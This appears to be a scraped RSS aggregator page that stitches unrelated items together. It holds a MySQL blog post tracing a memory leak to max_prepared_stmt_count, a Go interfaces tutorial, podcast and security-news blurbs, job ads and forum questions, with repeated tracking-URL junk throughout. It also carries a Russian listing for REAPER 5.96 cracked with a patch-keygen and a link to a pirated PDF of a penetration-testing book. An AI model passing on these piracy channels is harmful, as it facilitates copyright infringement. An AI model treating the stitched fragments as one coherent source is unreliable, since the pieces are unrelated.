47326976 47320388 InnoDB Buffer Pool: Initially we suspected the InnoDB. We have checked the innoDB usage from the monitoring system. But the result was negative. It never utilized more than 40GB. That thickens the plot. If buffer pool only has 40 GB, who is eating all that memory? Is this correct? Does Buffer Pool only hold 40GB? What’s Inside the BufferPool and whats its size? SELECT page_type AS page_type, sum(data_size) / 1024 / 1024 AS size_in_mbFROM information_schema.innodb_buffer_pageGROUP BY page_typeORDER BY size_in_mb DESC; +-------------------+----------------+| Page_Type | Size_in_MB |+-------------------+----------------+| INDEX | 39147.63660717 || IBUF_INDEX | 0.74043560 || UNDO_LOG | 0.00000000 || TRX_SYSTEM | 0.00000000 || ALLOCATED | 0.00000000 || INODE | 0.00000000 || BLOB | 0.00000000 || IBUF_BITMAP | 0.00000000 || EXTENT_DESCRIPTOR | 0.00000000 || SYSTEM | 0.00000000 || UNKNOWN | 0.00000000 || FILE_SPACE_HEADER | 0.00000000 |+-------------------+----------------+ A quick guide about this query. INDEX: B-Tree index IBUF_INDEX: Insert buffer index UNKNOWN: not allocated / unknown state TRX_SYSTEM: transaction system data Bonus: To get the buffer pool usage by index SELECT table_name AS table_name, index_name AS index_name, count(*) AS page_count, sum(data_size) / 1024 / 1024 AS size_in_mbFROM information_schema.innodb_buffer_pageGROUP BY table_name, index_nameORDER BY size_in_mb DESC; Then where mysql was holding the Memory? We checked all of the mysql parts where its utilizing memory. Here is a rough calculation for the memory utilization during the mysql crash. BufferPool: 40GBCache/Buffer: 8GBPerformance_schema: 2GBtmp_table_size: 32MOpen tables cache for 50 tables: 5GBConnections, thread_cache and others: 10GB Almost it reached 65GB, we can round it as 70GB out of 120GB. But still its approximate only. Something is wrong right? My DBA mind started to think where is the remaining? Till now, MySQL is the culprit who is consuming all of the memory. Clearing OS cache never helped. Its fine. Buffer Pool is also in healthy state. Other memory consuming parameters are looks good. It’s time to Dive into the MySQL. Lets see what kind of queries are running into the mysql. show global status like 'Com_%';+---------------------------+-----------+| Variable_name | Value |+---------------------------+-----------+| Com_admin_commands | 531242406 || Com_stmt_execute | 324240859 || Com_stmt_prepare | 308163476 || Com_select | 689078298 || Com_set_option | 108828057 || Com_begin | 4457256 || Com_change_db | 600 || Com_commit | 8170518 || Com_delete | 1164939 || Com_flush | 80 || Com_insert | 73050955 || Com_insert_select | 571272 || Com_kill | 660 || Com_rollback | 136654 || Com_show_binlogs | 2604 || Com_show_slave_status | 31245 || Com_show_status | 162247 || Com_show_tables | 1105 || Com_show_variables | 10428 || Com_update | 74384469 |+---------------------------+-----------+ Select, Insert, Update these counters are fine. But a huge amount of prepared statements were running into the mysql. One more Tip: Valgrind Valgrind is a powerful open source tool to profile any process’s memory consumption by threads and child processes. Install Valgrind: # You need C compilers, so install gcc wget ftp://sourceware.org/pub/valgrind/valgrind-3.13.0.tar.bz2tar -xf valgrind-3.13.0.tar.bz2 cd valgrind-3.13.0./configure makemake install Note: Its for troubleshooting purpose, you should stop MySQL and Run with Valgrind. Create an log file to Capture touch /tmp/massif.outchown mysql:mysql /tmp/massif.outchmod 777 /tmp/massif.out Run mysql with Valgrind /usr/local/bin/valgrind --tool=massif --massif-out-file=/tmp/massif.out /usr/sbin/mysqld –default-file=/etc/my.cnf Lets wait for 30mins (or till the mysql takes the whole memory). Then kill the Valgranid and start mysql as normal. Analyze the Log: /usr/local/bin/ms_print /tmp/massif.out We’ll explain mysql memory debugging using valgrind in an another blog. Memory Leak: We have verified all the mysql parameters and OS level things for the memory consumption. But no luck. So I started to think and search about mysql’s memory leak parts. Then I found this awesome blog by Todd. Yes, the only parameter I didn’t check is max_prepared_stmt_count. What is this? From MySQL’s Doc, This variable limits the total number of prepared statements in the server. It can be used in environments where there is the potential for denial-of-service attacks based on running the server out of memory by preparing huge numbers of statements. Whenever we prepared a statement, we should close in the end. Else it’ll not the release the memory which is allocated to it. For executing a single query, it’ll do three executions (Prepare, Run the query and close). There is no visibility that how much memory is consumed by a prepared statement. Is this the real root cause? Run this query to check how many prepared statements are running in mysql server. mysql> show global status like 'com_stmt%'; +-------------------------+-----------+| Variable_name | Value |+-------------------------+-----------+| Com_stmt_close | 0 || Com_stmt_execute | 210741581 || Com_stmt_fetch | 0 || Com_stmt_prepare | 199559955 || Com_stmt_reprepare | 1045729 || Com_stmt_reset | 0 || Com_stmt_send_long_data | 0 |+-------------------------+-----------+ You can see there are 1045729 prepared statements are running and the Com_stmt_close variables is showing none of the statements are closed. This query will return the max count for the preparements. mysql> show variables like 'max_prepared_stmt_count';+-------------------------+---------+| Variable_name | Value |+-------------------------+---------+| max_prepared_stmt_count | 1048576 |+-------------------------+---------+ Oh, its the maximum value for this parameter. Then we immediately reduced it to 2000. mysql> set global max_prepared_stmt_count=2000; -- Add this to my.cnfvi /etc/my.cnf [mysqld]max_prepared_stmt_count = 2000 Now, the mysql is running fine and the memory leak is fixed. Till now the memory utilization is normal. In Laravel framework, its almost using this prepared statement. We can see so many laravel + prepare statements questions in StackOverflow. Conclusion: The very important lesson as a DBA I learned is, before setting up any parameter value check the consequences of modifying it and make sure it should not affect the production anymore. Now the mysql side is fine, but the application was throwing the below error. Can't create more than max_prepared_stmt_count statements (current value: 20000) To continue about this series, the next blog post will explain how we fixed the above error using multiplexing and how it helped to dramatically reduce the mysql’s memory utilization. How max_prepared_stmt_count bring down the production MySQL system was originally published in Searce Engineering on Medium, where people are continuing the conversation by highlighting and responding to this story.
          Cockos - REAPER 5.96 (x86x64) (2018) РС      Cache   Translate Page      







Cockos - REAPER 5.96





Год выпуска: 2018

Версия: 5.96

Адрес оф. сайта: Cockos

Язык интерфейса: Русский, Английский

Лечение: патч-кейген

Системные требования:

Windows XP, Vista, 7, 8, 8.1, 10 32/64-bit




Описание:

Cockos Reaper является одной из самых продвинутых программ для создания музыки, как в студии, так и в домашних условиях.

Главная «фишка» программы заключается в том, что она имеет паттерновое, клавиатурное и аудио редактирование.

Вы можете задавать неограниченное количество аудио или миди треков, не считая того, сколько можно добавить виртуальных инструментов формата VST.

Reaper занимает не такое большое место на жестком диске и не загружает процессор, как программы из серии FL Studio, Cubase, Reason или Sonar.

С данной программой вы сможете работать даже на маломощных компьютерах с звуковыми картами, которые не поддерживают режимы работы Full duplex.

Хотя, если саундкарта поддерживает этот режим, вы получите неограниченные возможности по созданию своих композиций с профессиональным звучанием даже в таких форматах, как 5+1, а при наличии дополнительных плагинов, и 7+1.

К огромному плюсу программы относится то, что она поддерживает VST/VST3, не считая поддержки плагинов DirectX .

Вы можете пользоваться как встроенными средствами редактирования аудио или миди треков, так и сторонними плагинами.

Программа также поддерживает систему подключения виртуальных инструментов ReWire. Благодаря гармоничному интерфейсу вы всегда можете видеть то, что вы редактируете в данный момент.

Виртуальный многоканальный пульт всегда находится у вас перед глазами – с его помощью вы можете мгновенно производить операции с изменением громкости, редактирования эффектов как на отдельно взятом треке, так и на Master-треке.








Что нового:


Процедура лечения:


Русификация:


virustotal:


Скриншоты

Категория: Софт
          DysFunctional | CR 252      Cache   Translate Page      

Wes from Linux Unplugged joins Mike to host a special edition of the show. They chat about the merits (or not!) of Electron, Mike’s week from hell & their true feelings about Javascript. Then they discuss Clojurescript, React Native, & the benefits of a more functional programming style.

Plus Docker, Devops & of course the Beer of the Week!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Shuffling Code | CR 237      Cache   Translate Page      

We've given the guys the week off after a year of hard work, so in this episode we'll take a look back at a series of events where the guys ended up realigning their opinions. From hybrid vs native apps & developing on linux to Pokémon & Bots, a lot changed in 2016.

So sit back, grab a nice warm beverage & enjoy the show!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          A Lemur Eats an Apple | CR 228      Cache   Translate Page      

Mike betting on server side bots & AI, making the big jump from the MacBook to a System76 Lemur running Linux. We talk about the platform development opportunities for a small shop.

Plus how to design APIs that don’t suck & more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Mismatch Patterns in Productivity | CR 216      Cache   Translate Page      
Mike & Chris rip up the thinking behind iPad-only is the new desktop Linux mantra, discuss the date of LaunchKit, announce a new coding challenge & much more!#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          دیدگاه‌ها برای دانلود آموزش Complete Linux course: Become a Linux professional (بروز رسانی در ۲۰۱۸/۸) با dev-master      Cache   Translate Page      
با سلام مشکل لینک ها برطرف گردید.
          دیدگاه‌ها برای دانلود آموزش Complete Linux course: Become a Linux professional (بروز رسانی در ۲۰۱۸/۸) با سعید      Cache   Translate Page      
سلام لینک ها مشکل دارند
          Anaconda - Sage conflict in .bashrc      Cache   Translate Page      
I can't get Anaconda and Sage to play nicely with each other. This is on a new install of Linux Mint 19. I installed sage from the repository and everything working fine. Then I installed Anaconda as directed on Anaconda's Linux installation instructions , including having the installer add to the PATH in ~/.bashrc. This broke sage. When I try to run it now, I get the error Traceback (most recent call last): File " /usr/share/sagemath/bin/sage-ipython", line 6, in from sage.repl.interpreter import SageTerminalApp ImportError: No module named 'sage' When I comment out the lines Anaconda added to my .bashrc file where it's adding to the PATH, Sage works again, but Anaconda is broken. What's causing this problem? How can I get the two to work at the same time?
          Is it possible to update the Sage Python?      Cache   Translate Page      
I noticed Sage can run a Python notebook, but it's 2.7 when I'm used to using 3.x. It is possible to update the Python in Sage? Also I'm on Windows so I'm using the Sage Virtualbox appliance, which might make it impossible. But is it possible in a sage native host like Linux?
          Planning Analyst - Leidos - Cheyenne, WY      Cache   Translate Page      
Linux / WebLogic / Oracle SQL / JAVA experience. In-depth knowledge of USSTRATCOM end-to-end nuclear planning processes, systems and enterprise database...
From Leidos - Fri, 21 Sep 2018 19:05:31 GMT - View all Cheyenne, WY jobs
          hardcover$ Kali Linux Wireless Penetration Testing Beginner's Guide - Third Edition: Master wireless testing techniques to survey and attack wireless networks with Kali Linux, including the KRACK atta 6551068      Cache   Translate Page      

Kali Linux Wireless Penetration Testing Beginner's Guide - Third Edition: Master wireless testing techniques to survey and attack wireless networks with Kali Linux, including the KRACK attack Download at => https://belipdfbooksmurahcoll8u3w.blogspot.com/1788831926
          Podcast.__init__: Building A Game In Python At PyWeek with Daniel Pope      Cache   Translate Page      
Summary

Many people learn to program because of their interest in building their own video games. Once the necessary skills have been acquired, it is often the case that the original idea of creating a game is forgotten in favor of solving the problems we confront at work. Game jams are a great way to get inspired and motivated to finally write a game from scratch. This week Daniel Pope discusses the origin and format for PyWeek, his experience as a participant, and the landscape of options for building a game in python. He also explains how you can register and compete in the next competition.


Podcast.__init__: Building A Game In Python At PyWeek with Daniel Pope
Do you want to try out some of the tools and applications that you heard about on Podcast.__init__? Do you have a side project that you want to share with the world? Check out Linode at linode.com/podcastinit or use the code podcastinit2018 and get a $20 credit to try out their fast and reliable linux virtual servers. They’ve got lightning fast networking and SSD servers with plenty of power and storage to run whatever you want to experiment on. Preface Hello and welcome to Podcast.__init__, the podcast about Python and the people who make it great. When you’re ready to launch your next app you’ll need somewhere to deploy it, so check out Linode. With private networking, shared block storage, node balancers, and a 40Gbit network, all controlled by a brand new API you’ve got everything you need to scale up. Go to podcastinit.com/linode to get a $20 credit and launch a new server in under a minute. Visit thesite to subscribe to the show, sign up for the newsletter, and read the show notes. And if you have any questions, comments, or suggestions I would love to hear them. You can reach me on Twitter at @Podcast__init__ or email [emailprotected] ) To help other people find the show please leave a review on iTunes , or Google Play Music , tell your friends and co-workers, and share it on social media. Join the community in the new Zulip chat workspace atpodcastinit.com/chat Your host as usual is Tobias Macey and today I’m interviewing Daniel Pope about PyWeek, a one week challenge to build a game in Python Interview Introductions How did you get introduced to Python? Can you start by describing what PyWeek is and how the competition got started? What is your current role in relation to PyWeek and how did you get involved? What are the strengths of the Python lanaguage and ecosystem for developing a game? What are some of the common difficulties encountered by participants in the challenge? What are some of the most commonly used libraries and tools for creating and packaging the games? What are some shortcomings in the available tools or libraries for Python when it comes to game development? What are some examples of libraries or tools that were created and released as a result of a team’s efforts during PyWeek? How often do games that get started during PyWeek continue to be developed and improved? Have there ever been games that went on to be commercially viable? What are some of the most interesting or unusual games that you have seen submitted to PyWeek? Can you describe your experience as a competitor in PyWeek? How do you structure your time during the competition week to ensure that you can complete your game? What are the benefits and difficulties of the one week constraint for development? How has PyWeek changed over the years that you have been involved with it? What are your hopes for the competition as it continues into the future? Keep In Touch
          Yet another introduction to golang interfaces      Cache   Translate Page      

I was peacefully trying to finish a post aboutuser namespaces when a friend came home and arrogantly told me I do know nothing about Golang interfaces. So, here we are. Context: Ubuntu 18.04 , python 3.7 and go version go1.11 linux/amd64 .

It's about defining & implementing behaviours

An interface is a description of the actions that an item can do. When you flip a light switch, the light goes on, or off , you don't care how things are implemented , you just care that it goes on, or off .

Python's repr function

You may have heard about the Python repr function, taking any valid Python object, or values of any type , and returning a string containing a printable representation of the object:

>>> type(1) <class 'int'> >>> repr(1) '1' >>> >>> type(1.1) <class 'float'> >>> repr(1.1) '1.1' >>> >>> type('foo') <class 'str'> >>> repr('foo') "'foo'" >>>

Another example:

>>> class A: ... name = 'nsukami' ... >>> p = A() >>> # A doesn't implement __repr__ method, default representation returned >>> repr(p) '<__main__.A object at 0x7f4f9dece898>' >>> >>> >>> class B: ... name = 'nsukami' ... def __repr__(self): ... return f"My name is {self.name}" ... >>> # B override or B implement __repr__ method, custom representation returned >>> repr(B()) 'My name is nsukami' >>> The __repr__ magic method

Yes, object.__repr__ method and all the other magic or special methods are Python's approach for allowing classes to define their own behavior .

When we call the repr function, what is happening behind the scenes is this:

the repr method takes values of any type as argument thanks to mro , the order in which __repr__ is overridden is known. if an implementation of __repr__ is found, then it will be applied Golang interfaces

Interface types express generalizations or abstractions about the behaviours of other types. Interfaces let us write functions that are more flexible and adaptable. Interfaces let us achieve polymorphism. Example :

package main import "fmt" // To satisfy I, you need to implement Foo behaviour type I interface { Foo() } type A struct {} // A is implicitly satisfying I w/o changing the definition of A func (p A) Foo() { fmt.Println("foo") } type B struct {} // B is implicitly satisfying I or wa can say: B "is a" I func (p B) Foo() { fmt.Println("bar") } // F will take any argument with Foo() behaviour // or F will take any argument satisfying I func F(i I) { i.Foo() } func main() { a := A{} b := B{} l := [...]I{a, b} for n, _ := range(l) { F(l[n]) // appears as I type, but behaviour changes depending on current instance } }

Now, let's do with Go , what we've done with Python:

package main import ( "fmt" ) type A struct{ name string } type B struct{ name string } // B struct is now implementing the Stringer interface func (b B) String() string { return fmt.Sprintf("My name is %s", b.name) } func main() { a := A{name: "Nsukami"} b := B{name: "Nsukami"} fmt.Println(a) fmt.Println(b) } The fmt.Println function

The fmt.Println function, is not returning a string like the Python's repr function, but that's not the point. The output of the fmt.Println function can be customized if the passed value implement the Stringer interface . With Golang, when we call fmt.Println , what's happening behind the scenes is :

fmt.Println takes an arbitrary number of empty interfaces as arguments. thanks to the way interface values are stored, all the implemented interfaces are known. if an implementation of Stringer interface is found, then it will be applied. The empty interface?

Yes. An empty interface may hold values of any type . Example :

package main import ( "fmt" //"reflect" ) type A struct{ name string } type B struct{ name string } // B struct is now implementing the Stringer interface func (b B) String() string { return fmt.Sprintf("My name is %s", b.name) } // f takes an empty interface as argument // f can take as argument, values of any type func f(i interface{}) { // nevertheless, we perfectly know the type that was passed to us // and we can retrieve the right implementation of the Stringer interface // fmt.Print("Dynamic type: ", reflect.TypeOf(i).String(), ", Concrete value: ", i, "\n") fmt.Printf("Dynamic type: %T, Concrete value: %v\n", i, i) } func main() { f(B{name: "foo"}) f(A{name: "foo"}) f(1) f(1.1) f("nsukami") } the way interface value are stored?

The best way to understand how interface values are stored, is to read the following awesome article , really.

Type assertion?

A type assertion is an operation applied to an interface value. A type assertion checks that the dynamic type of its operand matches the asserted type. Simply said: x.(T) asserts that x is not nil and that the concrete value stored in x is of type T . Example :

package main import ( "fmt" ) type B struct{ name string } func (b B) String() string { return fmt.Sprintf("My name is %s", b.name) } func f(i interface{}) { if _, ok := i.(B); ok { // if i is a B, do something fmt.Println("i is B, let's do something") }else{ fmt.Println("is is not a B") } } func main() { var i interface{} = "baz" // is i a string? s := i.(string) // if i is a string, no panic will occur fmt.Println(s) // if you uncomment the 2 following lines, the program will panic // because i is not a float 64 // r := i.(float64) // fmt.Println(r) // to handle panic gracefully, retrieve the 2nd returned value of the type assertion r, ok := i.(float64) fmt.Println(r, ok) // type assertion inside if conditions f(B{name: "foo"}) f("nsukami") } Recap? You achieve polymorphism in Go with interfaces, in Python, with inheritance, mixins, and ABC . Interfaces in Go are a little bit like Python magic methods , they help you implement behaviours . Type assertions in Go are a little bit like Python's built-in function isinstance . In Go, you can define your own interfaces. In Python, you cannot define your own magic methods. In Go, every type implements the empty interface . In Python3 , all objects are instances of object . More on the topic:

I hope I was at least able to bring you another perspective on this topic, really. May I please, recommend the following links?

Duck test Liskov substitution principle Python's special methods Difference between __str__ and __repr__ Rejected PEP 245 -- Python Interface syntax A tour of Go - Interfaces Go by examples - Interfaces Non exhaustive list of all interfaces in Go's standard library. Proposal: Default implementation for interface Go Data Structures: Interfaces Hold my beer

** YaitGi: Yet another introduction to Golang interfaces.

Not so unexpected Quote:

"Behaviour is a mirror in which every one displays his own image." Johann Wolfgang von Goethe


          Software Engineer - TeGrex Technologies, LLC - Charlottesville, VA      Cache   Translate Page      
C++ or other C language is preferred along with knowledge of Atmel studio, Linux, and signal processing knowledge/experience. About the company*:....
From Indeed - Wed, 03 Oct 2018 13:49:09 GMT - View all Charlottesville, VA jobs
          linuxでCCTV(監視カメラシステム)を卒業研究で構築しているものですが、なかなか...      Cache   Translate Page      
linuxでCCTV(監視カメラシステム)を卒業研究で構築しているものですが、なかなかうまくいきません。 motionをインストールして設定し、8081のブラウザーまでは入れるのですが、画像が出力されません。画像をいくつか貼っておきますので、アドバイスや直した方がいいところ、改善点をコメントしていただければうれしいです。よろしくお願いします。
          Java/Linux Developer - CNH Industrial - Saskatoon, SK      Cache   Translate Page      
Each of its brands, including Case IH, New Holland Agriculture, Case and New Holland Construction, FPT Industrial, Capital, and Parts &amp; Service, is a major...
From CNH Industrial - Wed, 08 Aug 2018 23:25:00 GMT - View all Saskatoon, SK jobs
          LXer: Iptables tricks, Linux command-line tips, Python, agile, DevOps, and more top reads      Cache   Translate Page      
Published at LXer: Tricks for sysadmins, Linux command-line tips, and a Python programming article were our top 3 posts last week. Do you have tricks, tips, or programming wisdom to share with...
          LXer: How to Install DRBD on CentOS Linux      Cache   Translate Page      
Published at LXer: This step-by-step tutorial demonstrates how to install Distributed Replicated Block Device (DRBD) on CentOS Linux. Read More... (https://linuxhandbook.com/install-drbd-linux/)
          Delete a Windows 10 read-only file from Linux      Cache   Translate Page      
I have a dual boot of Windows 10 and Ubuntu 18., While I was sleeping (really) Windows download a file it wants to install and its read-only file. I tried to delete it in linux it won't let me. I...
          Having troubles understanding why the VNC setup is so difficult on Linux      Cache   Translate Page      
On Windows you just download the client, set a password and as long as there isn't a firewall running you just punch in the IP address on the viewer client and everything is fine and dandy. I have...
          LXer: How To Install Oracle Java 11 In Ubuntu, Linux Mint Or Debian (From PPA Repository)      Cache   Translate Page      
Published at LXer: Oracle Java 11, the first long term support release, can now be installed in Ubuntu, Linux Mint and Debian from the Linux Uprising Java PPA. Read More......
          Hello      Cache   Translate Page      
Hi, I'm new to this forum and to linux & ubuntu and was going to ask a dumb question which I see has already been asked and answered. Thanks guys & gals. This is a great help site. :hattip: And yes...
          How to create a folder inside proc/pid      Cache   Translate Page      
Hi , I am writing a character device with a Linux Kernel Module and the kernel version is : 4.14.74.. Basically, a user space process with a given tgid can interact with my device through ioctl. ...
          LXer: Canonical Releases Important Ubuntu Kernel Live Patch to Fix L1TF, SpectreRSB      Cache   Translate Page      
Published at LXer: Canonical released a new kernel live patch for all its supported Ubuntu Linux operating systems to address several critical security vulnerabilities discovered by various...
          [OGR-28] hitparade van week 41      Cache   Translate Page      
Replies: 4 Last poster: KuuKe at 10-10-2018 05:53 Topic is Open [OGR-28] hitparade van 9 oktober 2018Daily Top 30posdailymembertotal1.()196.686RamonP35.867.024(7)2.()129.259Theadalus70.899.104(5)3.()74.698Division Brabant425.197.004(1)4.()61.036ra.v.ochten at gmail.com4.242.103(21)5.()39.707Distri Server13.581.507(17)6.()28.191 ossy_66634.101.995(10)7.()6.084Crazy Cow Squad190.869.091(3)8.(2)2.379reznor15.392.143(15)9.()2.363Team_Kwakende_kip103.881.585(4) Meer...Overall Top 30postotalmemberdaily1.()425.197.004Division Brabant74.698(3)2.()220.878.417Andy4fun03.()190.869.091Crazy Cow Squad6.084(7)4.()103.881.585Team_Kwakende_kip2.363(9)5.()70.899.104Theadalus129.259(2)6.()39.086.637NightBird07.()35.867.024RamonP196.686(1)8.()35.091.971Team KillEmAll graast voor goud09.()34.625.943Uplinksweetlake010.()34.101.995 ossy_66628.191(6)11.()28.100.576St4ck3r012.()27.832.833Grutte Pier [Wa Oars]013.()18.161.751x-RaY99 the one-man 'team'014.()15.738.922Damic015.()15.392.143reznor2.379(8)16.()14.320.802Qazwaplol017.()13.581.507Distri Server39.707(5)18.()7.057.749The_Greater019.()5.844.881EliteHackers.info020.()5.442.031somerjer at blerry.nl021.()4.242.103ra.v.ochten at gmail.com61.036(4)22.()3.315.295RhinoTech023.()2.550.942IceStorm024.()1.756.562[eNeRGy]025.()1.558.622DigiK-oz026.()1.400.875Antoine027.()1.252.542Robinski028.()1.044.032Tinkerer029.()1.037.366Jan-Lieuwe Koopmans030.()635.678VictordeHollander0 Meer...Teams Daily Top 15posdailymembertotal1.(1)4.169.217yoyo@home BOINC wrapper6.773.993.200(1)2.(1)2.703.254SEGA Users Group2.171.236.128(3)3.(1)2.068.309AnandTech 106351.994.243.120(5)4.(3)581.967Team Hampshire College403.621.946(18)5.(4)571.652BOFH@Chalmers1.656.365.624(7)6.()540.402Dutch Power Cows1.365.870.201(9)7.(9)491.381Team-Goobee.org508.702.033(17)8.(4)407.712Team Warped (OS/2)660.716.495(15)9.(1)397.557BugTraq.Ru Team. United power of xUSSR.2.121.174.162(4)10.(2)395.793Czech D.NET Team1.086.862.909(10)11.(2)365.615Distributed Amiga861.101.477(13)12.(1)364.558Lost Clusters - Denmark269.946.502(21)13.()265.750Team MorphOS650.260.332(16)14.(70)258.663ParadoxZ Commando21.636.352(120)15.(1)194.972Linuxfr: French Linux Team1.416.946.533(8) Meer...Teams Overall Top 15postotalteamdaily1.()6.773.993.200yoyo@home BOINC wrapper4.169.217(1)2.()3.535.803.327linux-de.org03.()2.171.236.128SEGA Users Group2.703.254(2)4.()2.121.174.162BugTraq.Ru Team. United power of xUSSR.397.557(9)5.()1.994.243.120AnandTech 106352.068.309(3)6.()1.879.057.673Free-DC111.320(17)7.()1.656.365.624BOFH@Chalmers571.652(5)8.()1.416.946.533Linuxfr: French Linux Team194.972(15)9.()1.365.870.201Dutch Power Cows540.402(6)10.()1.086.862.909Czech D.NET Team395.793(10)11.()1.031.811.101Ukraine48.338(38)12.()872.397.176San Antonio Linux User Group013.()861.101.477Distributed Amiga365.615(11)14.()669.096.666HardOCP13.507(83)15.()660.716.495Team Warped (OS/2)407.712(8) Meer...LedenFlushers: 9/63 = 14.3%Geen nieuwe leden InhaalstatsTeam Hampshire College haalt ons in over6 jaarCzech D.NET Team haalt ons in over24 jaarLinuxfr: French Linux Team wordt ingehaald over6 maandenFree-DC wordt ingehaald over3 jaarlinux-de.org wordt ingehaald over11 jaarBugTraq.Ru Team. United power of xUSSR. wordt ingehaald over15 jaarMegaflush top 57 juli 2018Theadalus40.049.0071 december 2015Division Brabant30.471.11925 december 2017Crazy Cow Squad12.354.29416 augustus 2015Andy4fun6.814.46914 april 2014Qazwaplol6.251.321Meer informatieOGR-28 projectpagina op WDO*** suggesties voor een DPCH? ***bron
          Comentario en Kali Linux 2018.3 ya está aquí con novedades por Alfredo Alvarado      Cache   Translate Page      
Hola equipo DesdeLinux podrían elaborar una tutorial o un post acerca de como instalarlo en Maquinas Virtuales como VBox o VMware, ya que he visto infinidad de tutoriales y no puedo actualizar correctamente los repositorios, kernel, java, nodejs, etc... Al no tenerlos actualizados o en su versión en especifico ejecutar un programa, este me impide iniciar el programa en su interfaz gráfica. También mi antivirus detecta cierto archivos como virus y me los elimina. Se los agradecería, soy nuevo por aquí y me ha encantado su blog, ¡me suscribo!
          Kali Linux Web Penetration Testing Cookbook – Second Edition – تست نفوذ وب با کالی لینوکس      Cache   Translate Page      

Kali Linux Web Penetration Testing Cookbook – آزمون نفوذپذیری یا آزمون نفوذ روشی برای تخمین میزان امنیت یک کامپیوتر (معمولاً سرور) یا یک شبکه است که با شبیه‌سازی حملات یک حمله‌کننده (هکر) صورت می‌گیرد. در این روش به کمک نرم افزار کالی لینوکس تمام سیستم و نرم‌افزارها و سرویس‌های نصب شده روی آن برای یافتن […]

نوشته Kali Linux Web Penetration Testing Cookbook – Second Edition – تست نفوذ وب با کالی لینوکس اولین بار در آموزش و دانلود و انجمن تخصصی شبکه سیسکو و مایکروسافت و امنیت. پدیدار شد.


          Visual Studio Code 1.28.0      Cache   Translate Page      
programátorsky editor pre vývojárov webových a cloudových aplikácií (změny, Win/Mac/Linux; freeware)
          Shotcut 18.10.08      Cache   Translate Page      
program na strihanie videa (screenshot; WinALL/Linux/Mac; open-source)Download: Windows (187 MB) | MacOS (65 MB) | Linux (61 MB)
          Comment on Oracle Business Intelligence Out of Place Upgrade – 11g to 12c by Avik Dutta      Cache   Translate Page      
Hi Aydin, Apologies for responding late. The process is identical to that mentioned here. 1. OBIEE 11g (source - Windows) and 12c (target - Linux) should already be installed - pre-requisites. 2. Running the migration tool as mentioned in the target environment with commands. 3. Take the generated bi-migration-tool.jar and place it in the Windows source environment as mentioned in the post. 4. the Export.jar will be generated after running the migration tool in the source environment. 5. Take the export, put it in the Linux environment (target) and run it again as mentioned in the post. The only difference here is Linux instead of RHEL. So it won't really change the steps. Just the installation of the target environment will be Linux instead of RHEL. That's all. Regards, Avik Dutta.
          KDE Plasma 5.14 released      Cache   Translate Page      

KDE has released Plasma 5.14 desktop.

A lot of work has gone into improving Discover, Plasma's software manager, and, among other things, we have added a Firmware Update feature and many subtle user interface improvements to give it a smoother feel. We have also rewritten many effects in our window manager KWin and improved it for slicker animations in your work day. Other improvements we have made include a new Display Configuration widget which is useful when giving presentations.

The new release will find its way to your Linux distribution of choice soon enough.


          IT Support Specialist - Rambus - San Francisco, CA      Cache   Translate Page      
Business Unit Specific Support:. Collaboration Tool support (Skype for Business, Webex, etc). Deep knowledge of Unix/Linux internals administration,...
From Bank of Ireland - Wed, 19 Sep 2018 00:34:49 GMT - View all San Francisco, CA jobs
          Software Engineer - LOCKHEED MARTIN CORPORATION - Fort Meade, MD      Cache   Translate Page      
Experience with Linux internals. Experience with iOS or Android internals/ research. ARM, PowerPC, MIPS, ST10, AMD, SPARC, or Xeon....
From Lockheed Martin Corporation - Tue, 10 Jul 2018 04:22:40 GMT - View all Fort Meade, MD jobs
          Episode 293: Root in 70 Seconds | TechSNAP 293      Cache   Translate Page      

Get a root shell by holding down enter, comprising a Linux desktop using an NES & PoisonTap, the impressive little hacking tool.

Plus your great questions, a poppin’ round up & much, much more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Episode 280: Microsoft’s Golden Ticket | TechSNAP 280      Cache   Translate Page      

Microsoft leaks their golden key, allowing attackers to unlock secure boot systems, a security breach at Oracle exposes hundreds of companies & Linux has an embarrassing networking stack bug.

Plus your questions, our answers & a packed round up!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Episode 240: Zero-Days Of Our Lives | TechSNAP 240      Cache   Translate Page      

The first remote administration trojan that targets Android, Linux, Mac and Windows. Joomla and vBulletin have major flaws & tips for protecting your online privacy from some very motivated public figures.

Plus some great questions, a rockin' roundup & much, much more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Episode 224: Butterflies & Backronyms | TechSNAP 224      Cache   Translate Page      

The Backronym vulnerability hits MySQL right in the SSL protection, we’ll share the details. The hacker Group that hit Apple & Microsoft intensifies their attacks & a survey shows many core Linux tools are at risk.

Plus some great questions, a rockin' roundup & much much more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          Episode 215: EXTenuating Circumstances | TechSNAP 215      Cache   Translate Page      

Researches have uncovered a weakness in almost all Internet encryption. We’ll explain what LogJam is, how to protect yourself & what the cause is.

Linux gets bit by a filesystem corruption bug, passport id thieves, a great batch of questions & much, much more!

#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000
          /armbe-none-linux-gnueabi_SDK-1.2.4-alpha.tar.gz      Cache   Translate Page      
none
          Application Middlewear Administrator - Veteran Engineering and Technology - Parkersburg, WV      Cache   Translate Page      
Working with multiple operating systems (such as Windows, IBM AIX, and Linux). Veteran Engineering and Technology, VET, founded in 2003, is a full-service...
From Indeed - Fri, 28 Sep 2018 17:18:26 GMT - View all Parkersburg, WV jobs
          Message Queing Administrator - Veteran Engineering and Technology - Parkersburg, WV      Cache   Translate Page      
Working with multiple operating systems (such as Windows, IBM AIX, and Linux). Veteran Engineering and Technology, VET, founded in 2003, is a full-service...
From Indeed - Fri, 28 Sep 2018 16:59:05 GMT - View all Parkersburg, WV jobs
          Web Server Administrator - Veteran Engineering and Technology - Parkersburg, WV      Cache   Translate Page      
Working with multiple operating systems (such as Windows, IBM AIX, and Linux). Veteran Engineering and Technology, VET, founded in 2003, is a full-service...
